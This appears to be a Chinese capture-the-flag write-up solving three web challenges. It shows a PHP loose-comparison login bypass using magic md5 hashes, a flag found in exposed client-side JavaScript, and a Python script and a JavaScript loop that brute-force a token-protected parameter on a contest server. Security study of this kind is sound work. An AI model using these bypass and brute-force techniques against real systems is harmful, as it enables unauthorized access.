web 1 签到题
1.看源码发现是php隐士转换直接 Username=QNKCDZO,password=240610708 ,得到下一个地址 http://117.34.111.15:84/json.php2.继续右键看源码
2.继续右键看源码
QQ20170418-131112.png (32.74 KB, 下载次数: 269)
2017-4-18 13:15 上传
3.又是弱类型
Web2 抽奖
看到 jQuery.js 有点异常,打开源码,
然后直接在控制台输入 getFlag,得到 flag
(function() {
window.getFlag=function(text){ if(text=='1'){ alert("你最厉害啦!可惜没flag") } if(text=='2'){ alert("你太厉害了,竟然是二等奖") } if(text=='3'){ alert("你好厉害,三等奖啊") } if(text=='flag'){ alert("flag{951c712ac2c3e57053c43d80c0a9e543}") } if(text=='0'){ alert("再来一次吧") } }
})复制代码Web3 继续抽
查看源代码,看代码
$.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) {
alert(jsctf3['text'])
}, 'json');复制代码
于是构造请求 'http://117.34.111.15:81/get.php?token='+token+'&id='+id ,试了下 encode(md5('1'))、encode(md5('2'))、encode(md5('3')),均没出来 flag ,于是写了 python 脚本,跑构造好的字典
# -- coding:utf-8 --
import requests
import pyquery
file = open('zd.txt','r')
for line in file.readlines():
id = line.strip('\n')
url = 'http://117.34.111.15:81/'
headers = {
'Accept-Encoding': 'gzip, deflate, sdch, br',
'Connection': 'keep-alive',
'Cache-Control':'max-age=0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Mobile/14B150 MicroMessenger/6.5.1 NetType/WIFI Language/zh_CN',
'Upgrade-Insecure-Requests':'1',
'Accept-Language':'zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4',
}
s = requests.Session()
r = s.get(url=url,headers=headers).text
c = pyquery.PyQuery(r)
token = c('#token').val()
url2 = 'http://117.34.111.15:81/get.php?token='+token+'&id='+id
r2 = s.get(url=url2,headers=headers)
str = r2.text
print str.decode('unicode_escape').encode('utf-8'), id复制代码
于是跑出 flag,也就是当 encode(md5('147')) 时,
方法2:源碼大法
view-source:http://xxx:81/Payload
看了下源碼,爆破function orz(t){ $.get('token.php', function(token){ console.log(token); $.get("get.php?token=" + token + "&id=" + encode(md5(t)), function(jsctf3){ console.log(jsctf3); if(jsctf3['text'].indexOf('flag{')>-1){ alert(jsctf3['text']); }else if(t<200){ orz(t+1); } }, 'json'); },'json');}orz(0);Get Flag